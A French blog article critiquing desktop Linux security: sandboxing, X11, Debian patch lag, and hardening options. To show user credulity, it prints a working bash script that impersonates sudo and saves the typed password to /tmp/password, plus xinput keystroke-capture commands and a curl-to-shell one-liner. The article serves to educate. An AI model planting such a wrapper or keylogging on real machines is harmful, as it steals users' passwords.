Linux et la sécurité, tel un désert et un oasis ?

On entend souvent que Linux est un OS plus sécurisé que les autres. Mais qu'est-ce que ça veut dire, et est-ce vrai ? Posons-nous un court instant pour vérifier la véracité de cette association en l'an 2021...

Linux et la sécurité, tel un désert et un oasis ?

Le mythe de la sécurité sur Linux

Linux est un noyau (pour résumer, le programme qui sert d'interface matériel/logiciel) inspiré des systèmes UNIX. Il est utilisé dans divers appareils embarqués, sur des serveurs, sur des smartphones (Android), et en très petite partie sur des ordinateurs personnels.

Quand on parle de "Linux" sur Internet, on se réfère souvent aux distributions "GNU/Linux" (un OS complet qui associe le noyau Linux à l'userland GNU). Je vais commettre également cet abus de language mais il faut impérativement garder à l'esprit ces différences.

Linux est souvent considéré comme une alternative plus sûre aux OS traditionnels et commerciaux (que sont Windows et macOS). Si cela a peut-être été le cas il y a plus d'une dizaine d'années, ce n'est plus tout à fait correct de nos jours. Ici, je critique particulièrement l'adaptation de Linux au modèle de sécurité "desktop".

Quand on s'aime, on se dit les choses.

Absence de mitigations modernes

Sans plus attendre, rentrons dans le vif du sujet. Tout d'abord, on peut parler de l'absence de mitigations modernes et de défauts techniques majeurs :

  • L'absence de sandboxing efficace : toutes les applications ont accès aux mêmes données entre elles (modèle MS-DOS). Il suffit d'une application malveillante qui exploite une faille random et la partie est finie pour vos données. Une sandbox élaborée limiterait ces dommages.
  • L'absence généralisée de CFI (Control Flow Integrity) qui empêche l'exploitation de processus notamment par des attaques de corruption liées à la mémoire. CFI est intensivement utilisé dans Chromium et Windows par exemple.
  • L'usage massif dans les programmes de langages memory-unsafe tels que le C et le C++, qui sont prompts aux erreurs et aux attaques liées à la mémoire. Microsoft s'intéresse au Rust et explique pourquoi ; mais aussi Google récemment (ajout du 14 avril 2021) !
  • L'absence de vérification d'intégrité au démarrage : Secure Boot en est une implémentation partielle seulement, qui ne fonctionne que sous certaines conditions avec certaines distributions GNU/Linux. Sur "desktop", cette forme de protection existe sur les PC Secured-Core (que Windows...), les Macbook post-2016 (T2 & ARM) ainsi que les Chromebooks.

La partie se complique quand on s'intéresse à l'isolation au niveau de X, qui est encore un des exemples illustrant que la sécurité n'est pas prise au sérieux dans cet "écosystème" du libre. Non, même AppArmor ne suffira pas.

Linux (le noyau) lui-même est écrit dans des langages memory-unsafe (et ça n'avance pas très vite...), manque énormément en termes de mitigations et d'efforts centrés sur des bugs potentiellement dangereux (cf. ci-dessus). Ce sont des problèmes qui trainent depuis 10 ans déjà.

De par sa nature de noyau monolithique en constante évolution avec ajout de nouvelles fonctionnalités, il dispose d'une grande surface d'attaque avec une masse de code "privilégié" colossale.

Open-source, vous dites ?

Il convient également d'aborder cet argument fréquent de l'open-source censé soutenir la sécurité de Linux et des distributions qui l'utilisent.

La "loi de Linus" est-elle une utopie ?

J'en parlais dans mon précédent article pour illustrer l'evidence-based security mais un rappel dans ce contexte est le bienvenu :

Evidence-based security
En écho à la “broscience” (usuellement de la désinformation scientifique par des personnes non-compétentes), je souhaite m’adresser dans cette série d’articles à des mythes persistants de la sécurité informatique, qui n’ont jamais été corrects, ou bien obsolètes.

Mais si vous n'êtes toujours pas convaincus par mes propos, je vous réfère à cette lecture intéressante qui provient de la Linux Foundation :

One of the survey goals was to understand the state of security in FOSS, and indeed it found that respondents report spending very little of their time on responding to security issues (an average of 2.27% of their total time spent).

Peu de temps est passé à résoudre des problèmes de sécurité.

Moreover, the respondents do not report a desire to increase this significantly; in fact, the average of percent of time reported they would like to spend on security was only 0.06% higher. In addition to questions about their efforts, survey participants were asked what would be the most beneficial contribution to their FOSS projects from external sources.

Les contributeurs ne s'y intéressent en effet tout simplement pas assez.

Some of the topmost requested contributions were proposed bug/security fixes, free security audits, and simplified ways to add security related tools to their CI pipelines (Figure 19). This indicates that there is a clear need for these efforts, but existing contributors are not interested in dedicating substantial additional time to it.

Si vous avez un peu de temps libre, je vous conseille la lecture de cet article.

Vulnérabilités introduites volontairement

Partie ajoutée le 22/04/21.

Bien que je ne soutienne pas la démarche particulièrement douteuse au point de vue de l'éthique, une équipe de chercheurs du Minnesota a soumis à titre d'expérimentation divers correctifs introduisant des vulnérabilités à des projets open-source dont Linux.

Parmi tous les projets open-source visés par l'expérimentation, 56.6% des vulnérabilités ont pu été introduites en moyenne d'après le papier. Bien évidemment, ils ont été pris ultérieurement (une fois que certains "faux" correctifs ont été fusionnés) la main dans le sac par des mainteneurs du projet Linux et la suite laisse place à un échange houleux qui ne nous intéressera pas.

Ici, la conclusion à retenir est que même le modèle de confiance rigoureux pour les contributions à des projets open-source comme Linux peut montrer des failles (humaines en l'occurrence). La faute est sûrement également imputable en grande partie à une codebase colossale écrite dans un langage complexe.

Le modèle de l'open-source est toutefois un idéal auquel on doit tendre et cette histoire ne devrait faire en rien la promotion du closed-source (il n'y a aucun rapport, son développement étant intrinsèquement déjà obscur) ; ici, ce récent exemple sert juste à illustrer que l'open-source n'est pas forcément un gage de sécurité - même pour Linux.

Le modèle de sécurité desktop selon GNU/Linux

Le modèle de sécurité desktop sur des distributions GNU/Linux classiques est particulièrement douteux :

  • Absence généralisée de règles strictes SELinux/AppArmor au nom de la permissivité (et même si mises en place, ne limitent pas la casse d'une isolation GUI inexistante)
  • Un usage dangereux de su et sudo (qui mène à une compromission totale à partir d'un utilisateur non-root). En savoir plus.
  • X11 est une énorme tare et j'insiste. En somme, toutes les applications graphiques peuvent récupérer tout ce que vous écrivez, y compris des mots de passe, et même avec des frameworks de contrôle d'accès (AppArmor). Fort heureusement, Wayland est en voie de le remplacer, mais le support de l'écosystème tarde depuis des années.
  • Un modèle de distribution de paquets aux effets de bords parfois très étranges...

Backport, or not backport...

Debian, par exemple, est souvent vantée pour sa stabilité et sécurité, mais qu'en est-il vraiment ? Ses paquets gelés attendent en effet des backports de fix pour des CVEs. Mais en pratique vous en raterez une bonne partie :

  • Par inattention du développeur
  • Par non-évidence de l'exploitation
  • Par un manquement du système de CVE

Le système de CVE n'est pas infaillible dans l'absolu, sur lequel repose pourtant ce système de backporting.

C'est le cas par exemple pour Chromium qui n'aura pas systématiquement des backports de fix... et même Linux. Fort heureusement, ce problème est partiellement contourné avec des repo "sécurité" qui vont un peu à contresens de ce "freeze".

Les mainteneurs et contributeurs Debian ne peuvent absolument pas tout suivre, c'est parfois au petit bonheur la chance ; alors imaginez pour les autres distributions basées sur ce modèle de freeze au long terme. Ce modèle n'est vraiment intéressant que sur des systèmes que vous ne voulez pas voir casser du jour au lendemain et qui ont des besoins ciblés (serveurs).

Updates lag (n-days say hello)

Pour illustrer simplement le lag des mises à jour avec ce système, voici un exemple avec la CVE-2021-21148 : une 0-day de haute sévérité fixée aussitôt dans Chromium 88.0.4324.150. Au passage, il n'y a rien de partial dans le choix de ce navigateur comme exemple...

Capture d'écran du security tracker Debian au 09/02/21

4 jours après l'annonce de la 0-day et la publication de son fix, on attend toujours de pouvoir mettre à jour chez les utilisateurs de Debian. Les jours passent et la fenêtre de vulnérabilité est bien plus grande que chez les autres utilisateurs qui ne dépendent pas d'un intermédiaire. Ici, on attend déjà que le patch arrive dans Sid, mais tous les backports ne sont pas garantis d'arriver dans la branche stable sans évidence d'exploitation.

Quand une 0-day est publiée, les mises à jour doivent être aussitôt faites pour réduire la fenêtre de vulnérabilité (qui en soit prédate même la publication d'une 0-day). Cette 0-day devient une n-day ce qui est d'autant plus dangereux, d'où l'intérêt de réduire cette fenêtre au maximum.

Au 12/02/21, soit J+7 : le patch n'est toujours pas dans la branche stable...

Encore une fois, je ne critique pas particulièrement Debian dont l'équipe fait un travail formidable compte tenu du modèle de distribution. Seulement, ce dernier a des limites comme montré à travers cet exemple.

La crédulité de l'utilisateur final

Utilisateurs de Linux, Windows, macOS... Nous sommes tous des êtres faillibles qui répondent à des émotions et qui se fatiguent au cours de la journée. Peu importe votre système, vous êtes le premier responsable de votre propre sécurité, alors ne vous croyez jamais intouchables.

Ce petit programme ci-dessous peut se faire passer pour sudo et récupérer votre mot de passe, et beaucoup ne se douteraient de rien.

N'est-ce pas problématique ?

cat <<\EOF > /tmp/sudo
#!/bin/bash
if [[ "${@}" = "" ]]; then
  /usr/bin/sudo
else
  read -r -p "[sudo] password for user: " password
  echo "${password}" > /tmp/password
  echo "Sorry, try again."
  /usr/bin/sudo ${@}
fi
EOF
chmod +x /tmp/sudo
export PATH="/tmp:${PATH}"

Encore plus drôle, en profitant du serveur X...

xinput list
xinput test id

Sources des exemples.

Mais c'est pour ça que les paquets existent ; je n'ai pas à executer des binaires ou des scripts de tierce partie !

N'avez-vous vraiment jamais lancé une commande du genre :

 sh -c "$(curl -fsSL https://domain.tld/script.sh)"

Et pouf, ce genre de chose suffit à égarer son esprit, à baisser sa garde l'espace d'un instant. Game over!

D'autant plus qu'en soit, le modèle de confiance des dépôts de paquets est loin d'offrir toutes les garanties auxquelles vous pensez.

Où veux-tu en venir ? Que reproches-tu aux distributions actuelles ?

Réflexion n°1 : certes, il y a en quantité moins de malwares destinés aux usagers de distributions Linux desktop, car c'est forcément une cible très restreinte. On pourrait considérer une forme de sécurité par l'obscurité, mais ce n'est pas tout le temps une bonne chose. En fait, cela pourrait même provoquer un biais qui vous sera fatal un jour ou l'autre.

Réflexion n°2 : est-ce que les distributions doivent suivre la voie d'Apple et Microsoft et cloisonner leurs utilisateurs pour les empêcher au maximum de faire des bêtises (même ça, ça ne marche pas toujours...) ? Doit-on utiliser un OS "user-safe", même si l'on est un utilisateur "consciencieux" et soucieux de la sécurité ? Ce sont d'excellentes questions sur lesquelles je suis encore en réflexion.

Renforcer son système

Il est bien entendu concevable pour les utilisateurs les plus soucieux de renforcer leur système (mesures de hardening). Il y aura toujours des limites, car certains défauts sont inhérents à l'architure-même du système.

Cela passera entre autres par :

  • Une politique de contrôle d'accès restreinte (SELinux, AppArmor), certaines distributions ne vont pas assez loin dans leur intégration
  • Un kernel patché pour le renforcer (Grsecurity, Linux-hardened, PaX...), éventuellement compilé soi-même et récent
  • Chiffrement intégral des disques (LUKS)
  • Mise en place de mitigations diverses (sandboxing, verified boot si possible, allocateur de mémoire renforcé)
  • Application des bonnes pratiques : mises à jour rapides et régulières, réduction de la surface d'attaque (installer le moins de services possibles = KISS, moindre privilège)

Quelques pistes

Des guides existent déjà à ce sujet :

Linux Hardening Guide | Madaidan’s Insecurities
Security - ArchWiki
Security Hardening Checklist
Security hardening instructions for Whonix ™ and Qubes-Whonix ™. Improving Linux, Windows and macOS host computer security and networking configurations. Safe Tor, Tor Browser and other online activities.

J'ai également proposé ultérieurement plusieurs articles comme ceux-ci :

Quelques bricoles pour renforcer Linux : ASLR, lockdown, PTI (Spectre/Meltdown)...
Linux a lui aussi droit à son confinement ! Nous allons voir quelques paramètres non-exhaustifs pour renforcer sa sécurité.
Touche pas à mon root
Sur les systèmes UNIX et ses dérivés, le compte root est le super-administrateur du système. Il dispose des pleins pouvoirs sur l’ensemble du système. Cet article se concentre sur des façons employées pour sécuriser son accès.

Quel OS ? Quelles solutions ?

Vous devez faire vos propre recherches ! Je conseille globalement des distributions qui documentent leur modèle de sécurité, sont minimales (musl au lieu de glibc par exemple), et proposent des paquets récents (pour les raisons énoncées plus haut).

ChromeOS est en réalité une distribution Linux basée sur Gentoo. C'est l'un des premiers OS au monde à avoir implémenté la vérification d'intégrité au démarrage... il y a plus de 10 ans ! Elle dispose d'ailleurs d'un très bon modèle de sandboxing hérité évidemment du navigateur Chrome. C'est un OS à l'usage limité et qui ne conviendra pas si vous n'êtes pas friand des services Google, mais c'est probablement l'OS desktop "grand public" le plus sûr.

ChromiumOS pourrait vous tenter, mais contrairement à ChromeOS il n'a aucune méthode d'installation permettant de conserver le verified boot.

Aussi, il faudrait mentionner Qubes OS qui pousse le concept de sandboxing au maximum : chaque application ou ensemble d'applications tourne dans une machine virtuelle propre. C'est très demandeur en ressources, et ça ne peut pas convenir au grand public, mais le projet n'en demeure pas moins intéressant.

Mention honorable à Alpine Linux qui est une des rares distributions à utiliser musl en lieu et en place de la glibc. Selon moi, musl doit être préféré puisqu'il est bien moins bloated, donc facile à maintenir avec une surface d'attaque moins grande. C'est la distribution de choix pour les conteneurs, mais je ne sais pas ce qu'elle donne pour une utilisation desktop. On peut mentionner Void Linux qui permet d'utiliser musl également.

Enfin, Gentoo comme certains le savent déjà est une distribution où il faut à peu près tout compiler soi-même. Tout comme Arch Linux en quelque sorte, on peut construire son système en implémentant directement des bonnes pratiques et bénéficier d'une surface d'attaque par défaut relativement faible.

Dans tous les cas, et si votre utilisation le permet, utilisez Wayland pour remplacer Xorg.

Whonix est intéressant dans le cadre d'une utilisation dans une machine virtuelle dédiée dédiée à des besoins confidentiels.

Aparté sur le sandboxing

Petit aparté sur le sandboxing (consultez les liens) : Firejail, Flatpak, ou encore Docker (les conteneurs en général) ne sont pas des solutions viables et facilitent même des élévations de privilège si mal utilisés. Cf. cet article ainsi que les solutions proposées :

gVisor & Kata : des sandbox pour renforcer l’isolation des conteneurs
Les conteneurs apportent sur le papier un environnement réplicable et léger avec un espace utilisateur isolé, loin de la lourdeur des machines virtuelles. En réalité, l’isolation est une problématique qui doit être considérée de plus près : nous verrons ici des solutions proposées...

La meilleure option à ce jour reste la virtualisation comme Qubes OS le fait, mais la sécurité du système hôte demeure cruciale. L'écosystème mobile est ici bien plus en avance du fait du modèle desktop plus ancien et historiquement permissif, et l'on constate un rapprochement entre les deux écosystèmes (avec les applications sandboxed du store Microsoft, et aussi chez Apple), du moins chez les écosystèmes concernés.

Nous parlerons du cas Android dans un prochain article car il relève d'un modèle de sécurité intégralement différent de celui traité ici.

Doit-on fuir Linux sur desktop ?

Ce n'est pas ce que cet article tente de faire. À travers ce dernier, je ne veux pas vous décourager d'utiliser Linux sur desktop. Je souhaite simplement qu'une partie de ses utilisateurs cessent de propager des paroles partisannes dénuées de technique, et travaillent activement à faire de l'écosystème Linux desktop un environnement plus sûr. Le libre doit rester une alternative, et ce pour tout modèle de menace.

Documentez-vous, parlez sécurité à des contributeurs de tout projet lié à Linux. Et si vous êtes contributeur, prenez la chose plus à cœur et pas comme un coup de malchance si une CVE vous tombe sur le dos. J'ai d'ailleurs choisi de ne pas m'attarder sur le CVE counting, car ça n'a que très peu de sens.

On pourrait même rédiger une thèse sur ce sujet, mais j'espère que ces quelques réflexions et exemples suffiront à servir d'électrochoc.

Références qui ont inspiré l'article et détaillent davantage :